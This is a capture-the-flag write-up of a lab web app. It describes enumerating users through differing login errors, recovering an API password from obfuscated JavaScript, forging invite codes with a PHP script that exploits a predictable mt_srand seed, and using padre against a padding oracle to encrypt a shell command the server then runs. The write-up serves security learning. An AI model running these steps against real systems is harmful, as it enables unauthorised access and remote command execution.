Port 1337 on an Apache web app. Login portal with two tabs. Page source already has /api.php sitting in the comments, not even trying to hide. Let's go.


Initial Enumeration

Nmap showed two ports: SSH on 22, web app on 1337. The web app won.

Initial Nmap scan showing ports 22 and 1337

The login portal had two forms — username/invite code and email/invite code. Two attack surfaces before I'd done anything. Page source referenced /api.php, which had its own login. Gobuster flagged some timeouts on a few paths. Noted, filed away, moved on.

Login portal page source revealing /api.php reference Gobuster results with timeouts noted

API Discovery and JavaScript Deobfuscation

/api.php had obfuscated JavaScript arrays in the source. Deobfuscated them.

Obfuscated JavaScript arrays in /api.php source

API password: H7gY2tJ9wQzD4rS1

Deobfuscated JavaScript revealing API password

Worked immediately. The API docs were now open, and they handed over the invite code generation algorithm:

function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
    return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
API documentation revealing invite code generation algorithm

Same obfuscated array in /js/api.js deobfuscated to the same password. Confirmed.

/js/api.js confirming same API password

Algorithm: clear. Missing piece: constant_value.


User Enumeration

While hunting for the constant I tested the login forms for behavioral differences. Submitting a fake email returned an explicit error. Submitting admin@decryptify.local with a bad code returned nothing — just silence. That difference is meaningful.

User enumeration leak — different error responses per email

The email form leaked whether an account existed. The username form didn't. I needed the actual domain. Looped through likely candidates:

for e in admin@decryptify.thm admin@rce.thm admin@fake.thm \
  admin@localhost.thm admin@ubuntu.thm; do
  echo "== $e =="
  curl -s -X POST http://TARGET:1337 \
    -d "invite_username=$e&invite_code=test" | grep -oP '(?<=<p class="text-danger">).*(?=</p>)'
  echo
done
Email enumeration loop — admin@fake.thm returns no error

admin@fake.thm — no error. That's the one.


Invite Code Brute Force

Valid email confirmed. Still needed constant_value to generate a working invite code. The API docs gave me the algorithm, so I just implemented it:

<?php
$email = $argv[1];
$constant_value = (int)$argv[2];

$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$seed_value = hexdec($email_length + $constant_value + $email_hex);

mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);

echo "email: $email\n";
echo "constant: $constant_value\n";
echo "seed: $seed_value\n";
echo "invite_code: $invite_code\n";
?>
Custom PHP invite code generator script

Automated the brute force — generate a code per constant value, submit it, stop when the response changes. No hits with the first interpretation. Wrote a second generator using string concatenation instead of integer addition.

Second generator script with alternate seed construction

Still nothing. The constant wasn't in the 1–300 range either way. Time to stop guessing and actually enumerate.


Finding the Constant — /logs/

Reran Nmap properly this time, with --script=http-enum:

nmap -sC -sV --script=http-enum -p22,1337 TARGET
Nmap http-enum surfacing /logs/ directory

/logs/ surfaced. Visited it.

/logs/ directory revealing constant_value = 99999

constant_value = 99999. Right there in the logs the whole time.

That directory was discoverable from the start. Deeper HTTP enumeration upfront would have found it in the first ten minutes instead of after a solid hour of creative dead ends. I'll be annoyed about that for at least a week.

Generated invite code using constant_value 99999

Generated the correct invite code. Access code: NDYxNTg5ODkx

Admin panel access confirmed

Admin panel. First flag retrieved.


Padding Oracle — Command Execution

The dashboard at /dashboard.php accepted a date parameter — a base64-encoded ciphertext the server decrypted server-side to figure out what shell command to run for the footer date display.

Modifying the parameter produced a very specific error:

Padding error: error:0606506D:digital envelope routines:
EVP_DecryptFinal_ex:wrong final block length

That error is the oracle. The server was leaking whether the padding on my ciphertext was valid. That's all padre needs.

Step 1 — decrypt the original value to confirm the behavior:

./padre -u 'http://TARGET:1337/dashboard.php?date=$' \
  -cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' \
  'ET7bSJfUSDJmUAl8O4smqP91XxJSk0qgj2FnpulyU3c='

Output: date +%Y

The original ciphertext decrypted to date +%Y — exactly how the app was printing the current year in the footer. The date parameter wasn't a date string. It was an encrypted shell command.

Step 2 — encrypt a new command:

./padre -u 'http://TARGET:1337/dashboard.php?date=$' \
  -cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' \
  -enc 'cat /home/ubuntu/flag.txt'

Dropped that into the date parameter. Server decrypted it, executed cat /home/ubuntu/flag.txt, printed the result in the footer.

Flag retrieved via padding oracle command execution

Second flag. Done.


Full Attack Chain

Obfuscated JS → API password → invite code algorithm
→ User enumeration leak → valid email (admin@fake.thm)
→ PHP seed brute-force → no hit → should have enumerated earlier
→ /logs/ → constant_value = 99999 → valid invite code → admin login
→ Padding oracle decrypt → server executes shell commands
→ Padding oracle encrypt → arbitrary command injection → flag